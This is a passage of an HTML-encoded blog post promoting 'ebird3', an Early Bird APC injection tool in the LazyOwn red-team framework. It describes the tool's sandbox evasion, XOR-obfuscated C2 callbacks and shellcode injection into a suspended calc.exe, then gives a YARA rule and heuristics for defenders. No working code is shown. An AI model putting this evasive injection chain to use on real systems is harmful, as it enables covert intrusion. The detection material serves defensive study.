4px;"&gt;ntdll.dll&lt;/code&gt;&amp;nbsp;and&amp;nbsp;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;ws2_32.dll&lt;/code&gt;. It’s like a survivalist, but with better opcodes.&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="6696" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;✅ Obfuscated C2 — Your shellcode URL? XOR’d. Your User-Agent? XOR’d. Your dignity? Also XOR’d.&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="5d22" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;✅ Anti-VM — Sandboxes? Denied. Analysis? Thwarted. Paranoia? Validated.&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="91f5" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;✅ Small Binary Size — Compiled with&amp;nbsp;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;-Os&lt;/code&gt;&amp;nbsp;and&amp;nbsp;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;-fno-stack-protector&lt;/code&gt;&amp;nbsp;for maximum stealth and minimum bloat.&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="aad3" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;✅ Educational AF — Want to understand APC injection, NT API abuse, or how to make Windows cry? This is your lab.&lt;/li&gt;&lt;/ul&gt;&lt;h1 class="nq nr fr bf ns nt nu nv nw nx ny nz oa ob oc od oe of og oh oi oj ok ol om on bk" data-selectable-paragraph="" id="66fd" style="background-color: white; box-sizing: inherit; color: #242424; font-family: sohne, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 24px; letter-spacing: -0.016em; line-height: 30px; margin: 1.95em 0px -0.28em;"&gt;&#127917; But Wait — There’s More: The LazyOwn Ecosystem&lt;/h1&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf oo mh mi mj op ml mm mn oq mp mq mr or mt mu mv os mx my mz fk bk" data-selectable-paragraph="" id="b1a8" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 0.94em 0px -0.46em; word-break: break-word;"&gt;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;ebird3&lt;/code&gt;&amp;nbsp;isn’t just a standalone tool.&lt;br style="box-sizing: inherit;" /&gt;It’s a node in the LazyOwn RedTeam Framework—a modular, extensible, and&amp;nbsp;&lt;em class="na" style="box-sizing: inherit;"&gt;slightly unhinged&lt;/em&gt;&amp;nbsp;ecosystem of offensive tools.&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="c287" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;Imagine this:&lt;/p&gt;&lt;ul class="" style="background-color: white; box-sizing: inherit; color: rgba(0, 0, 0, 0.8); font-family: medium-content-sans-serif-font, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; list-style: none none; margin: 0px; padding: 0px;"&gt;&lt;li class="mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz ne nf ng bk" data-selectable-paragraph="" id="98b7" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 2.14em; padding-left: 0px;"&gt;You generate polymorphic shellcode with&amp;nbsp;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;ShadowLink&lt;/code&gt;&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="5296" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;Obfuscate it with&amp;nbsp;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;LazyAddons&lt;/code&gt;&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="7610" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;Deliver it via&amp;nbsp;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;ebird3&lt;/code&gt;&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="53bc" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;All orchestrated by&amp;nbsp;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;LazyOwn&lt;/code&gt;&amp;nbsp;from a C2 server that looks like a cat meme blog&lt;/li&gt;&lt;/ul&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="d89d" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;And the best part?&lt;br style="box-sizing: inherit;" /&gt;It’s all open-source.&lt;br style="box-sizing: inherit;" /&gt;&lt;em class="na" style="box-sizing: inherit;"&gt;(Because transparency is the best opsec.)&lt;/em&gt;&lt;/p&gt;&lt;h1 class="nq nr fr bf ns nt nu nv nw nx ny nz oa ob oc od oe of og oh oi oj ok ol om on bk" data-selectable-paragraph="" id="9ed9" style="background-color: white; box-sizing: inherit; color: #242424; font-family: sohne, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 24px; letter-spacing: -0.016em; line-height: 30px; margin: 1.95em 0px -0.28em;"&gt;&#127873; THE SURPRISE: A Calculator With a PhD in Hacking&lt;/h1&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf oo mh mi mj op ml mm mn oq mp mq mr or mt mu mv os mx my mz fk bk" data-selectable-paragraph="" id="8999" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 0.94em 0px -0.46em; word-break: break-word;"&gt;&#128073;&amp;nbsp;&lt;a class="ag ot" href="https://www.youtube.com/shorts/utiQ3QDFtvU" rel="noopener ugc nofollow" style="-webkit-tap-highlight-color: transparent; box-sizing: inherit;" target="_blank"&gt;Watch it in action&lt;/a&gt;&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="a972" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;Yes. That’s a Windows&amp;nbsp;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;calc.exe&lt;/code&gt;:&lt;/p&gt;&lt;ul class="" style="background-color: white; box-sizing: inherit; color: rgba(0, 0, 0, 0.8); font-family: medium-content-sans-serif-font, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; list-style: none none; margin: 0px; padding: 0px;"&gt;&lt;li class="mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz ne nf ng bk" data-selectable-paragraph="" id="2b95" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 2.14em; padding-left: 0px;"&gt;Created suspended&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="0477" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;Injected via NtQueueApcThread&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="1761" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;Running XOR-obfuscated shellcode&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="1c4d" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;Calling back to a Malleable C2 profile&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="4589" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;All while Task Manager says “Looks normal to me”&lt;/li&gt;&lt;/ul&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="cad2" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;And it’s not even using admin privileges.&lt;br style="box-sizing: inherit;" /&gt;It’s just&amp;nbsp;&lt;em class="na" style="box-sizing: inherit;"&gt;that good&lt;/em&gt;.&lt;/p&gt;&lt;h1 class="nq nr fr bf ns nt nu nv nw nx ny nz oa ob oc od oe of og oh oi oj ok ol om on bk" data-selectable-paragraph="" id="dcbb" style="background-color: white; box-sizing: inherit; color: #242424; font-family: sohne, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 24px; letter-spacing: -0.016em; line-height: 30px; margin: 1.95em 0px -0.28em;"&gt;&#128737;️ Detection? LOL. Here’s How to Catch It (For Blue Teams)&lt;/h1&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf oo mh mi mj op ml mm mn oq mp mq mr or mt mu mv os mx my mz fk bk" data-selectable-paragraph="" id="b53f" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 0.94em 0px -0.46em; word-break: break-word;"&gt;I’m not&amp;nbsp;&lt;em class="na" style="box-sizing: inherit;"&gt;just&lt;/em&gt;&amp;nbsp;a red teamer. I’m a responsible red teamer. So here’s some free blue team intel:&lt;/p&gt;&lt;h1 class="nq nr fr bf ns nt nu nv nw nx ny nz oa ob oc od oe of og oh oi oj ok ol om on bk" data-selectable-paragraph="" id="047c" style="background-color: white; box-sizing: inherit; color: #242424; font-family: sohne, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 24px; letter-spacing: -0.016em; line-height: 30px; margin: 1.95em 0px -0.28em;"&gt;&#128269; YARA Rule (Basic IOC)&lt;/h1&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf oo mh mi mj op ml mm mn oq mp mq mr or mt mu mv os mx my mz fk bk" data-selectable-paragraph="" id="4f0d" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 0.94em 0px -0.46em; word-break: break-word;"&gt;yara&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="5acc" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;rule ebird3_EarlyBird_APC {&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="62ba" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;meta:&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="edec" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;author = “LazyOwn BlueTeam Analyst”&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="9abb" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;description = “Detects ebird3 Early Bird APC injector”&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="709b" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;license = “GPLv3”&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="f113" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;strings:&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="a6b3" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;$ntdll_imports = “ntdll.dll” ascii wide&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="60f7" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;$nt_funcs = (&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="6ce4" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;“NtAllocateVirtualMemory”&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="9101" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;“NtWriteVirtualMemory”&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="c904" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;“NtQueueApcThread”&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="cdf9" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;“NtClose”&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="6926" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;)&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="757e" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;$create_suspended = { 6A 04 6A 00 6A 00 6A 00 6A 00 6A 00 } // CREATE_SUSPENDED&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="6007" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;$xord_url = { 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? e8 ?? ?? ?? ?? 83 c4 08 }&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="d8a2" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;condition:&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="2af3" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;all of ($nt_funcs) and $ntdll_imports and $create_suspended and $xord_url&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="b59d" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;}&lt;/p&gt;&lt;h1 class="nq nr fr bf ns nt nu nv nw nx ny nz oa ob oc od oe of og oh oi oj ok ol om on bk" data-selectable-paragraph="" id="206a" style="background-color: white; box-sizing: inherit; color: #242424; font-family: sohne, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 24px; letter-spacing: -0.016em; line-height: 30px; margin: 1.95em 0px -0.28em;"&gt;&#128373;️ Heuristic Alert&lt;/h1&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf oo mh mi mj op ml mm mn oq mp mq mr or mt mu mv os mx my mz fk bk" data-selectable-paragraph="" id="59ac" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 0.94em 0px -0.46em; word-break: break-word;"&gt;Look for:&lt;/p&gt;&lt;ul class="" style="background-color: white; box-sizing: inherit; color: rgba(0, 0, 0, 0.8); font-family: medium-content-sans-serif-font, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; list-style: none none; margin: 0px; padding: 0px;"&gt;&lt;li class="mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz ne nf ng bk" data-selectable-paragraph="" id="6062" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 2.14em; padding-left: 0px;"&gt;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;NtQueueApcThread&lt;/code&gt;&amp;nbsp;being called on a suspended process thread&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="5dac" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;Memory allocated with&amp;nbsp;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;PAGE_EXECUTE_READWRITE&lt;/code&gt;&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="57a1" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;HTTP requests from&amp;nbsp;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;calc.exe&lt;/code&gt;&amp;nbsp;or&amp;nbsp;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 